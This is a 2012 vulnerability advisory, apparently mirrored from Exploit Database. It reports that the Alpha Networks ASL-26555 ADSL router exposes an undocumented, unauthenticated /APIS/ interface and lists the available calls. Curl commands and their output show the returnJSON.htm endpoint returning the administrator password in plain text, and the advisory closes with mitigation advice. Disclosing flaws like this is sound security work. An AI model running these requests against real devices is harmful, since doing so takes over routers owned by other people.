Alpha Networks ADSL2/2+ Wireless Router ASL-26555 – Password Disclosure

• Exploit Database
• 59 阅读

• 作者： Alberto Ortega
  日期： 2012-08-20
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/20667/

• - Title:
  
  Alpha Networks ADSL2/2+ Wireless Router ASL-26555 Remote Administration Password Disclosure
  
  - Author:
  
  Alberto Ortega @a0rtega
  alberto[@]pentbox[.]net
  
  - Version:
  
  Tested on firmware version v2.0.0.30B_ES.
  Laboratory subject: http://a0rtega.pentbox.net/files/asl-26555-zombie.jpg
  
  - Summary:
  
  Alpha Networks ADSL Wireless Routers have an administration web panel
  to manage the device configuration.
  
  To access the panel, the administrator has to visit the IP of the device using
  the port 8000 with a web browser. It will prompt for authentication.
  
  $ curl http://192.168.1.1:8000/SETUP/sp_home.htm
  <title>401 Not Authorized</title>
  <h1>401 Not Authorized</h1>
  
  $ curl -I http://192.168.1.1:8000/SETUP/sp_home.htm
  HTTP/1.1 401 Not Authorized
  Server: LocalAccess
  Date: Thu, 16 Aug 2012 18:23:08 GMT
  WWW-Authenticate: Basic realm="ASL-26555"
  
  - The vulnerability:
  
  If we investigate the directory /APIS/ in the same web server we will have a fully usable
  API to grab information from the device.
  
  This API doesn't seem to be documented anywhere, quite weird (backdoor?).
  
  Also, this API doesn't require authentication and grant us administrator access.
  
  The implemented calls to the API are:
  
  returnWifiJSON.htmreturnInterfacesJSON.txt
  returnWelcomeInfoJSON.htm returnFirewallLevelJSON.txt
  returnUsbJSON.htm returnFirewallJSON.txt
  returnServicesJSON.txtreturnDhcpList.htm
  returnPasswordJSON.htmreturnDevicesJSON.htm
  returnLoginStatusJSON.htm returnApplicationsListJSON.htm
  returnLoginJSON.txt returnApplicationsJSON.htm
  returnJSON.htmreturnApplicationJSON.txt
  returnIpJSON.txtreturnInternetJSON.htm
  
  We can read all the configuration from the device without authentication. In addition, we have
  a call named returnJSON.htm that returns us the credentials of the administrator user:
  
  $ curl -I http://192.168.1.1:8000/APIS/returnJSON.htm
  HTTP/1.1 200 OK
  Server: LocalAccess
  Date: Thu, 16 Aug 2012 18:29:50 GMT
  Transfer-Encoding: chunked
  Content-Type: text/html
  
  $ curl http://192.168.1.1:8000/APIS/returnJSON.htm
  {
  	"RETURN":{
  		"success": true,
  		"errorDescription": "ERROR_GENERAL"
  	},
  	"USER":{
  		"USERNAME": "admin",
  		"PASSWORD": "adm1n_passw0rd_exposed"
  	}
  }
  
  This credentials can be used to log into the web panel with the administrator account.
  
  - Mitigation:
  
  The only possible mitigation is to drop access to everyone from the outside
  with a network level blocking configuration.
  This can be done in the Advanced configuration of the device.
  
  You can also turn off the web panel, but you won't be able to manage the device.